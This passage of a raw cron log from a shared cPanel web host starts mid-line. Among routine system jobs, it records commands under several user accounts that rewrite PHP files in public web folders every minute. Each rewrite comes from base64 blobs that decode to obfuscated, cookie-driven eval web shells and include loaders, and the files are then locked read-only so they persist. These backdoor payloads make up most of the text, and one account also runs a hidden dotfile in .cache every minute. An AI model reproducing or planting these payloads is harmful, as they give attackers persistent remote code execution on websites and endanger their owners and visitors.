EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:36:02 medusa CROND[18026]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:36:02 medusa CROND[18028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:36:02 medusa CROND[18036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:37:01 medusa CROND[9767]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:37:01 medusa CROND[9891]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:37:01 medusa CROND[9892]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:37:01 medusa CROND[9893]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:37:01 medusa CROND[9894]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:37:01 medusa CROND[9898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:37:01 medusa CROND[9901]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:37:01 medusa CROND[9899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:37:01 medusa CROND[9903]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:37:01 medusa CROND[9904]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:37:01 medusa CROND[9905]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:37:01 medusa CROND[9897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:37:01 medusa CROND[9917]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:38:02 medusa CROND[2325]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:38:02 medusa CROND[2326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:38:02 medusa CROND[2327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:38:02 medusa CROND[2329]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:38:02 medusa CROND[2331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:38:02 medusa CROND[2333]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:38:02 medusa CROND[2334]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:38:02 medusa CROND[2335]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:38:02 medusa CROND[2336]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:38:02 medusa CROND[2338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:38:02 medusa CROND[2341]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:38:02 medusa CROND[2350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:38:02 medusa CROND[2353]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:39:01 medusa CROND[26904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:39:01 medusa CROND[27069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:39:01 medusa CROND[27093]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 14:39:01 medusa CROND[27094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:39:01 medusa CROND[27095]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
